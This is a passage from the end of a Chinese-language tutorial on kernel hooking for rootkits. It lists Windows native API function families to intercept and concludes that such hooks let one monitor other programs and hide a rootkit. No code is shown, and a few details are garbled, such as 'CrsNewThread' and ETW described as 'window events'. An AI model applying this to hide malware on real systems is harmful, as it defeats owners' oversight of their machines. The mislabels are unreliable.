1.KiEtw系列:本系列内核函数用于系统内核,这些函数只能从内核的内部进行调用,常用的有:KiUserCallbackDispatcher、KiRaiseUserExceptionDispatcher、KiUserApcDispatcher、KiUserExceptionDispatcher等。
2.Csr系列:此系列函数用于客户机和服务器运行时,如果您想拦截客户机/服务器方面的操作,那么就需要对Csr系列内核函数做进一步的了解。常见的有:CsrClientCallServer、CsrCaptureMessageBuffer、CsrConnectClientToServer和CrsNewThread等。
3.Ldr系列:本系列内核函数用于加载程序管理器,如果你打算拦截加载程序的话,那么请进一步考察这组以Ldr为前缀的函数,常用的有:LdrInitializeThunk、LdrLockLoaderLock、LdrUnlockLoaderLock、LdrGetDllHandle、LdrGetProcedureAddress等。
4.Dbg系列:本系列内核函数用于调试管理,如果打算拦截调试操作的话,那么请进一步考察这组以Dbg为前缀的函数,常用的函数包括:、DbgBreakPoint、DbgUserBreakPoint、DbgPrint和DbgUiConnectToDbg等。
5.Etw系列:本系列内核函数用于追踪窗口事件,如果你打算拦截追踪之类的操作的话,那么请进一步考察这组以Etw为前缀的函数。常用的函数包括:EtwTraceEvent、EtwEnableTrace、EtwGetTraceEnableLevel和EtwGetTraceEnableFlags等。
6.Rtl系列:本系列内核函数用于运行时库,以Rtl为前缀的函数可以完成多种操作,例如字符串、线程、资源、临界区、安全对象的初始化和使用,内存、进程异常和数据类型的处理,还用于完成定时器、堆、IPv4和IPv6方面的操作,以及压缩和解压缩等。
7.Pfx系列:本系列内核函数用于ANSI字符串操作,如果你打算拦截ASNI串表方面的操作的话,就需要进一步了解这些函数。常用的包括:PfxInitialize、PfxRemovePrefix、PfxInsertPrefix、PfxFindPrefix等。
8.Zw系列:本系列内核函数用于文件和注册表方面的操作,比如文件操作、注册表操作、访问进程、事件操作、令牌操作、进程操作和端口操作等。
这里介绍的只是内核函数中的一部分,限于篇幅其他部分在此不作介绍。
六、结束语
本文深入介绍了系统调用表和内存保护方面的知识,并介绍了实现钩子函数的方法,最后对一些重要的内核函数进行了简要的说明。有了内核级钩子,我们不但能够控制、监视其他程序并过滤有关数据,还能达到隐藏Rootkit本身及其它程序的目的。需要说明的是,尽管可以通过内核钩子技术来实现rootkit所需的一些功能,但是,现实中的rootkit通常组合使用多种其它技术,如进程注射、分层驱动过滤等。